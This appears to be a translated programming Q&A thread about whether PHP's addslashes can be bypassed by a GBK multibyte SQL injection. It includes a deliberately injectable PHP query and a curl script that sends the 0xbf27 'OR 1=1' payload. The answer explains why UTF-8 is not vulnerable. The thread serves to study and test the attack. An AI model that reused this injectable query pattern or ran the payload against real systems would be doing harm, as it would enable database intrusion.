我正在尝试验证在脚本上使用addslashes是否可利用,众所周知,不应该使用addslashes,但问题是,它是否总是可以利用?
我发现有很多关于在两种情况下滥用addlashes的信息当字符集不是utf8 (使用双字节转换)时,当变量被“”包围时
那么,当上述情况都没有发生时,可以绕过addslashes吗?这是我一直在测试的代码:
带有db dump的data.sql文件:
CREATE TABLE IF NOT EXISTS `test` (
`user` varchar(25) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
INSERT INTO `test` (`user`) VALUES
('admin'),
('user');
mysql -u test -ptestpw test < data.sql
index.php放在服务器中
<?php
//Server script the receives content via post
mysql_connect("localhost","test","testpw");
mysql_select_db("test");
$user=addslashes($_POST['username']);
$query="SELECT * FROM test WHERE user='".$user."'";
$q=mysql_query($query) or die (mysql_error());
$num_rows = mysql_num_rows($q);
echo "Listed rows: $num_rows";
if ($num_rows > 0) {
$a=mysql_fetch_array($q);
print_r($a);
}
?>
query.php放在客户机上
<?php
//Client script crafting the special url
$url = "http://example.com/index.php";
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $url );
curl_setopt( $ch, CURLOPT_POST, TRUE );
curl_setopt( $ch, CURLOPT_POSTFIELDS, "username=" .
chr(0xbf) . chr(0x27) .
"OR 1=1/*&submit=1" );
$data = curl_exec( $ch );
print( $data );
curl_close( $ch );
?>
一些参考文献:
答案 0 :(得分:4)
addslashes
转义字节 0x00(NUL字节),0x22("
),0x27('
)和0x5c(\
)通过预先加\
。有记录的案例addslashes
fails with the character encoding GBK on MySQL:
这种类型的攻击可以通过任何字符编码实现,其中有一个以0x5c结尾的有效多字节字符,因为
addslashes()
可以被欺骗以创建有效的多字节字符而不是转义单引号接下来。 UTF-8不符合此描述。
你已经有了答案:由于UTF-8没有以0x5c结尾的有效编码,因此它不容易受到这种攻击。
但是,由于您的脚本似乎依赖于magic_quotes_gpc已启用(从PHP 5.3.0开始已弃用并从PHP 5.4.0开始删除),因此您的脚本在 magic_quotes_gpc的环境中容易受到攻击已停用或无法使用。